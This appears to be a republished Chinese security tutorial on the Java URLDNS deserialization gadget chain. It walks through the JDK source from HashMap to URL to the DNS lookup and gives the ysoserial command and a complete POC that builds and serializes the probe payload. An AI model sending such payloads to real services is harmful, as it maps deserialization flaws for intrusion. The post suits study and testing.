[java安全]URLDNS

news/2024/4/28 12:35:03/文章来源:https://blog.csdn.net/qq_61839115/article/details/131736379

文章目录

    • [java安全]URLDNS
      • 前言
      • HashMap
      • URL
      • URLStreamHandler
      • 调用过程
      • 调用链
      • 流程图
      • POC

[java安全]URLDNS

前言

URLDNS利用链是一条很简单的链子,可以用来查看java反序列化是否存在反序列化漏洞,如果存在,就会触发dns查询请求

它有如下优点:

使用java内置类构造,对第三方库没有依赖

在目标没有回显的时候,可以使用DNS请求得知是否存在反序列化漏洞

在ysoserial下生成URLDNS的命令为:

java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn"

在学习URLDNS之前,我们需要了解一些java内置的类

HashMap

在HashMap的类中有readObject()方法,

我们知道,如果一个类重写了readObject()方法,那么在反序列化时,就会执行重写的readObject()方法

private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// Read in the threshold (ignored), loadfactor, and any hidden stuffs.defaultReadObject();reinitialize();...// Read the keys and values, and put the mappings in the HashMapfor (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject();putVal(hash(key), key, value, false, false);}}}

在HashMap的readObject()方法中调用了hash()方法,于是我们过去hash方法中看一下:

static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}

发现调用了key变量的hashCode()方法,这里的key是可以控制的

这里我们就知道需要一个新的类了:

URL

java.net.URL类中存在一个hashCode方法:

public synchronized int hashCode() {if (hashCode != -1)return hashCode;hashCode = handler.hashCode(this);return hashCode;}

hashCode变量初值为-1

private int hashCode = -1;

hashCode变量不等于-1时,就会return结束函数

hashCode=-1,会调用 handler的hashCode方法,参数是URL类的对象

然后我们查看一下handler类是什么类型:

transient URLStreamHandler handler;

发现是URLStreamHandler类,于是我们再查看一下该类

URLStreamHandler

hashCode方法

protected int hashCode(URL u) {int h = 0;// Generate the protocol part.String protocol = u.getProtocol();if (protocol != null)h += protocol.hashCode();// Generate the host part.InetAddress addr = getHostAddress(u);...}

发现调用了getHostAddress(),参数为URL类对象,查看一下 getHostAddress()方法

protected synchronized InetAddress getHostAddress(URL u) {if (u.hostAddress != null)return u.hostAddress;String host = u.getHost();if (host == null || host.equals("")) {return null;} else {try {u.hostAddress = InetAddress.getByName(host);} catch (UnknownHostException ex) {return null;} catch (SecurityException se) {return null;}}return u.hostAddress;}

这个方法中有一个函数调用InetAddress.getByName(host),获取目标主机的ip地址,其实就是进行了一次DNS查询

调用过程

我们捋一下过程

我们可以先创建一个HashMap对象,然后让键的类型为URL,例如:

HashMap<URL, String> hashMap = new HashMap<URL, String>();

然后创建一个URL类对象,参数我们传入DNS平台的url即可

这里有一些很重要的注意点

如何我们直接调用Map的put(),将HashMap中添加一个元素,可能会导致误触URL请求

我们看一下HashMap的put()方法 :

public V put(K key, V value) {return putVal(hash(key), key, value, false, true);}

发现put方法也会调用hash()方法,所以我们需要想办法避免触发

我们想到URL类中的hashCode变量初值为-1,当值为-1时URL类中的hashCode()方法会return返回,所以我们可以将URL对象添加到HashMap之前将hashCode变量设置为其他值即可

如何才能设置hashCode等于其他值呢?

我们需要使用java反射:

Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); //使用内部方法
f.setAccessible(true); //hashCode是私有变量,所以要设置访问权限
// hashMap.put时会调用hash(key),这里先把hashCode(初值为-1)设置为其他值,避免和后面的DNS请求混淆,导致触发dns
f.set(url, 0xAAA);

添加到HashMap中之后,我们需要使用反射把hashCode=-1

调用链

HashMap.readObject()HashMap.hash()URL.hashCode()URLStreamHandler.hashCode()URLStreamHandler.getHostAddress()

流程图

image-20230714204745449

POC

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {public static Object urldns() throws Exception{//漏洞出发点 hashmap,实例化出来HashMap<URL, String> hashMap = new HashMap<URL, String>(); //URL对象传入自己测试的dnslogURL url = new URL("http://txbjb7.dnslog.cn"); //反射获取 URL的hashcode方法Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); //使用内部方法f.setAccessible(true);// hashMap.put时会调用hash(key),这里先把hashCode设置为其他值,避免和后面的DNS请求混淆f.set(url, 0xAAA);hashMap.put(url, "leekos");// hashCode 这个属性放进去后设回 -1, 这样在反序列化时就会重新计算 hashCodef.set(url, -1);// 序列化成对象,输出出来return hashMap;}public static void main(String[] args) throws Exception {payload2File(urldns(),"obj");payloadTest("obj");}public static void payload2File(Object instance, String file)throws Exception {//将构造好的payload序列化后写入文件中ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));out.writeObject(instance);out.flush();out.close();}public static void payloadTest(String file) throws Exception {//读取写入的payload,并进行反序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));in.readObject();in.close();}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_331194.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

探索Python异常:让程序不再崩溃!

文章目录 前言什么是异常捕获异常基本语法捕获指定类型异常捕获多个指定类型的异常捕获异常描述信息捕获所有异常elsefinally 异常的嵌套自定义异常结语 前言 在编程的世界中&#xff0c;我们常常会面对各种各样的错误和异常情况。尤其当我们使用Python这样的高级编程语言时&a…

MySQL [环境配置]

MySQL [环境配置] MySQL的下载sqlyog的下载 熟悉老陈的人, 都清楚我不喜欢写这些环境配置的博客 那为啥这次要写一下MySQL的环境配置呢? 因为我被这一个小小的环境配置困扰了很长时间, 淋过雨的人都想为别人撑一把伞, 我不希望我的铁汁们也被这个问题困扰 MySQL的下载 MySQL下…

使用git克隆非自己账号的项目

在地址的中https://或者http://后添加要使用的 账号名项目地址&#xff0c;就会提示输入对应账号的密码&#xff0c;进行克隆。 如果克隆别人的项目&#xff0c;你将别人给你的项目地址克隆&#xff0c;此时身份验证是别人的用户名&#xff0c;这时你输入自己的密码就会验证失败…

在 3ds Max 中对二战球形炮塔进行建模

推荐&#xff1a; NSDT场景编辑器助你快速搭建可二次开发的3D应用场景 实际上被称为“斯佩里球炮塔”&#xff0c;它被用于二战的B-17和B-24轰炸机。 本教程介绍如何在 3ds Max 中对球形转塔进行建模。建模时&#xff0c;您将使用背景图片作为辅助。首先创建一个低多边形球体。…

thinkphp 上传图片

public function upload_img(){// 读取图片资源// 存储路径$path "uploads/avatar";$file request()->file(background_img);// 存储图片$info $file->rule(uniqid)->move($path);// 存储成功if ($info) {//获取到上传图片的路径名称$name_img $path . …

metersphere数据库SQL断言应用

在使用metersphere的时候&#xff0c;需要查询数据库数据来验证接口是否正常&#xff0c;在查看使用手册时&#xff0c;发现不是很明确&#xff0c;在研究一点时间后&#xff0c;终于明白&#xff0c;在此写下心得。 metersphere使用手册地址&#xff1a;接口测试 - 接口用例操…

界面控件DevExtreme v23.1新版亮点 - 全新的DateRangeBox组件

DevExtreme拥有高性能的HTML5 / JavaScript小部件集合&#xff0c;使您可以利用现代Web开发堆栈&#xff08;包括React&#xff0c;Angular&#xff0c;ASP.NET Core&#xff0c;jQuery&#xff0c;Knockout等&#xff09;构建交互式的Web应用程序。从Angular和Reac&#xff0c…

语义分割混淆矩阵、 mIoU、mPA计算

一、操作 需要会调试代码的人自己改&#xff0c;小白直接运行会出错 这是我从自己的大文件里摘取的一部分代码&#xff0c;可以运行&#xff0c;只是要改的文件地址path比较多&#xff0c;遇到双引号“”的地址注意一下&#xff0c;不然地址不对容易出错 把 calculate.py和 u…

干货 | 一个漏洞利用工具仓库

0x00 Awesome-Exploit 一个漏洞证明/漏洞利用工具仓库 不定期更新 部分漏洞对应POC/EXP详情可参见以下仓库&#xff1a; https://github.com/Threekiii/Awesome-POC https://github.com/Threekiii/Vulhub-Reproduce 0x01 项目导航 ActiveMQ CVE-2015-5254 Apisix CVE-2…

Unreal Engine 与 Blender - 比较指南

虚幻引擎和 Blender 是游戏开发人员中最常用的两种软件&#xff0c;它们在游戏开发工作流程中都有自己的用途和地位。作为进入视频游戏行业的初学者&#xff0c;可能很难从数十种软件中筛选找到最适合您需求的一款。希望本指南能够缓解这一困难并帮助您决定选择哪个软件。 虚幻…

前端面试题-js(三)

31 介绍js有哪些内置对象 Object 是 JavaScript 中所有对象的⽗对象数据封装类对象&#xff1a; Object 、 Array 、 Boolean 、 Number 和 String其他对象&#xff1a; Function 、 Arguments 、 Math 、 Date 、 RegExp 、 Error 32 说⼏条写JavaScript的基本规范 不要在同…

python+pytest接口自动化之测试函数、测试类/测试方法的封装

目录 前言 测试用例封装的一般规则 测试函数的封装 测试类/方法的封装 示例代码 总结 前言 在pythonpytest 接口自动化系列中&#xff0c;我们之前的文章基本都没有将代码进行封装&#xff0c;但实际编写自动化测试脚本中&#xff0c;我们都需要将测试代码进行封装&#…

【http-server】http-server的安装、前端使用http-server启动本地dist文件服务:

文章目录 一、http-server 简介:二、安装node.js:[https://nodejs.org/en](https://nodejs.org/en)三、安装http-server:[https://www.npmjs.com/package/http-server](https://www.npmjs.com/package/http-server)四、开启服务&#xff1a;五、http-server参数&#xff1a;【1…

记录stm32c8t6使用TIM4_CH1、TIM4_CH2输出PWM波控制编码电机出现的问题

由于之前是使用PB9、PB7引脚即TIM4_ch3\TIM4_ch4&#xff0c;由于项目更改为c8t6的PB、PB7引脚&#xff08;TIM4_ch3\TIM4_ch4&#xff09; 改为配置后发现只有一边的轮子可以转到&#xff0c;明明配置没什么问题&#xff0c;编译也没有报错&#xff0c;最后将pwm的调制模式更改…

抖音seo源码搭建---PHP,vue jquery layui

抖音seo源码&#xff0c;抖音seo矩阵系统源码技术搭建&#xff0c;抖音seo源码技术开发思路梳理搭建 开发思路&#xff1a;抖音seo系统&#xff0c;抖音seo矩阵系统底层框架上支持了ai视频混剪&#xff0c;视频产出&#xff0c;视频AI制作&#xff0c;多账号多平台矩阵&#x…

Java正则表达式MatchResult的接口、Pattern类、Matcher类

Java正则表达式MatchResult的接口 java.util.regex.MatchResult接口表示匹配操作的结果。 此接口包含用于确定与正则表达式匹配的结果的查询方法。可以看到匹配边界&#xff0c;组和组边界&#xff0c;但不能通过MatchResult进行修改。 接口声明 以下是java.util.regex.Matc…

3D开发工具HOOPS 2023 SP2更新:增加了SOLIDWORKS贴花支持!

HOOPS SDK是全球领先开发商TechSoft 3D旗下的原生产品&#xff0c;专注于Web端、桌面端、移动端3D工程应用程序的开发。长期以来&#xff0c;HOOPS通过卓越的3D技术&#xff0c;帮助全球600多家知名客户推动3D软件创新&#xff0c;这些客户包括SolidWorks、SIEMENS、Oracle、Ar…

Transaction事务使用了解

1.功能概述 ​ 在wiki的解释中&#xff0c;事务是一组单元化的操作&#xff0c;这组操作可以保证要么全部成功&#xff0c;要么全部失败&#xff08;只要有一个失败的操作&#xff0c;就会把其他已经成功的操作回滚&#xff09;。 ​ 这样的解释还是不够直观&#xff0c;看下…

本地appserv外挂网址如何让外网访问?快解析端口映射

一、appserv是什么&#xff1f; AppServ 是 PHP 网页架站工具组合包&#xff0c;作者将一些网络上免费的架站资源重新包装成单一的安装程序&#xff0c;以方便初学者快速完成架站&#xff0c;AppServ 所包含的软件有&#xff1a;Apache[、Apache Monitor、PHP、MySQL、phpMyAdm…

SOEM_1(笔记,从别的博客文章学的笔记)

目录介绍&#xff1a; doc&#xff1a;帮助文档、 osal&#xff1a;主要是用于符合OSADL和实时进程创建。也就是说&#xff1a;发送EtherCAT数据包不能抖动太大&#xff0c;如果直接使用linux提供的原生线程&#xff0c;可能实时性无法满足。需要对Linux内核打上实时补丁&…